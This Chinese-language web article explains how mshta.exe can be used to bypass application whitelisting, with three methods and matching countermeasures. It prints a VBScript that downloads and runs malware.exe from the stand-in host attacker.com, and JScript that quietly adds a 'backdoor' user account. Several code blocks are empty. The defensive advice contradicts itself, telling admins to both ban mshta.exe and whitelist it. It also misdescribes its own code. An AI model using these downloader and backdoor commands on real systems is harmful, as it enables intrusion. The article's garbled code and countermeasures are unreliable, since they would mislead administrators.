概述:
在网络安全领域中,应用程序白名单是一种重要的安全措施。它可以帮助控制系统中可以运行的应用程序,限制潜在的安全漏洞来源。但是对黑客而言,这些限制并不是绝对的,他们可以绕过这些限制来运行非白名单应用,其中一种方法是使用mshta.exe。
mshta.exe是微软 Windows 操作系统中的一个可执行文件,它可以用于运行 HTML 应用程序或 VBScript/JScript 脚本。由于它是操作系统的一部分,一些系统管理员可能会被误导认为它无害,因此在应用程序控制策略中不会将其列入白名单。然而,黑客可以利用mshta.exe来绕过应用程序白名单控制,从而运行非法应用程序。
本文将详细介绍使用mshta.exe绕过应用程序白名单的多种方法及相应的应对措施,以帮助系统管理员更好地保护系统的安全。
方法一:使用mshta执行本地VBScript
在这种方法中,黑客使用mshta.exe执行一个本地VBScript脚本,该脚本会下载并执行一个可执行文件,从而绕过应用程序白名单控制。
具体步骤如下:
1. 创建一个VBScript文件,包含以下代码:
```
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", "http://attacker.com/malware.exe", False
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists("malware.exe") Then objFSO.DeleteFile "malware.exe"
Set objFSO = Nothing
objADOStream.SaveToFile "malware.exe"
objADOStream.Close
Set objADOStream = Nothing
Run "malware.exe"
End If
```
此代码会在attacker.com上下载一个可执行文件(名称为malware.exe),然后将其保存在本地计算机上并运行它。
2. 创建一个HTML应用程序文件,包含以下代码:
```
```
此代码会在本地计算机上运行一个VBScript文件(名称为file.vbs),并且使用mshta.exe将其视为HTML应用程序而不是脚本。
3. 在本地计算机上启动Web服务器,以便可以通过http://localhost/file.html访问到第2步中创建的HTML文件。
黑客可以通过这种方式绕过应用程序白名单控制并运行非法应用程序。
应对措施:
一旦发现这种绕过方式,系统管理员应立即禁止mshta.exe的使用,并将其添加到应用程序白名单中。此外,系统管理员还应该监视网络流量,定期更新防病毒软件,并回滚至最新的系统备份(如果应用)以消除所有恶意软件。
方法二:使用mshta运行远程HTML应用程序
在这种方法中,黑客使用mshta.exe运行一个远程HTML应用程序,该应用程序会下载并运行一个可执行文件。这种方式与使用本地VBScript的方式非常相似,唯一的区别是可执行文件的下载和运行是在远程系统上完成的。
具体步骤如下:
1. 创建一个HTML应用程序文件,包含以下代码:
```
```
此代码会在本地计算机上使用mshta.exe运行远程HTML应用程序(名称为file.html),该应用程序会下载并运行可执行文件。
2. 创建一个远程HTML应用程序文件,包含以下代码:
```
```
此代码与方法一中的代码相同,不同之处在于此代码被命名为file.html,而且它在远程 web 服务器上。
黑客可以通过这种方式绕过应用程序白名单控制并运行非法应用程序。
应对措施:
系统管理员应禁止mshta.exe的使用,并将其添加到应用程序白名单中。此外,系统管理员应监视网络流量,定期更新防病毒软件,并回滚至最新的系统备份(如果应用程序)以消除所有恶意软件。
方法三:使用mshta运行JavaScript
在这种方法中,黑客使用mshta.exe运行JavaScript代码来执行不受控制的操作。这种方法通常涉及到创建一个与受感染系统连接的后门,从而使黑客能够从远程访问该系统。
具体步骤如下:
1. 创建一个JavaScript文件,包含以下代码:
```
var objShell = new ActiveXObject("WScript.Shell");
objShell.run("cmd.exe /c net user backdoor mypassword /add", 0);
```
此代码会在受感染的计算机上创建一个名为backdoor的用户帐户,密码为mypassword。
2. 创建一个HTML应用程序文件,包含以下代码:
```
```
此代码会在本地计算机上使用mshta.exe运行JavaScript代码(名称为jscode.js),该代码会下载并运行jscode.js文件中的命令。
3. 创建一个远程JavaScript文件,包含以下代码:
```
var objShell = new ActiveXObject("Wscript.Shell");
objShell.run("cmd.exe /c net user backdoor mypassword /add", 0);
```
此代码与方法一中的代码相同,不同之处在于此代码被命名为jscode.js,而且它在远程 web 服务器上。
黑客可以通过这种方式绕过应用程序白名单控制并创建后门以便从远程访问感染系统。
应对措施:
系统管理员应禁止mshta.exe的使用,并将其添加到应用程序白名单中。此外,系统管理员应监视网络流量,定期更新防病毒软件,并回滚至最新的系统备份(如果应用程序)以消除所有恶意软件。
案例说明:
早期,使用mshta.exe绕过应用程序白名单控制的案例并不罕见。例如,一组攻击团队曾经利用这种方式入侵了一个保密的美国政府机构。攻击者使用mshta.exe下载和运行恶意软件,从而盗取该机构的敏感信息。最终,该机构被迫实施更严格的应用程序控制策略,并加强了内部安全检查措施,以确保未来的安全性。
结论:
本文介绍了使用mshta.exe绕过应用程序白名单的三种方法及相应的应对措施。在防止黑客绕过应用程序白名单方面,系统管理员应时刻保持高度警惕,并确保所有应用程序都在白名单内。此外,他们还应该监视网络流量,定期更新防病毒软件,回滚至最新的系统备份以消除所有恶意软件。只有这样,才能确保系统的安全。 如果你喜欢我们三七知识分享网站的文章, 欢迎您分享或收藏知识分享网站文章 欢迎您到我们的网站逛逛喔!https://www.37seo.cn/
发表评论 取消回复